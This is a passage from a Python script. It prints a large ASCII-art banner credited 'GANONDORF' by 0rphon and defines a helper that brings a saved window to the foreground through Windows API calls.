"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0;.,:clloooodxxxxdollOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0;.,:clloddxk0KK0ko:cOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0;.;:ldxkkO0KXXXKko:lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0;':lxO000KXXXXK0xlckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;':okO0KKKKKK00OdcoKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0l,;lodO000000KOoc:kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOl;',cdO000kdc;,,kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkd:,:lll:;,':kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkl:,;;:lkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "GANONDORF: because who wants to duel link these days?\nCreated by 0rphon\n\n") for x in zelda: print(x) sleep(0.015)
def bring_to_front(self): try: ShowWindow(global_settings['active_window'][0], 5) SetForegroundWindow(global_settings['active_window'][0]) except: pass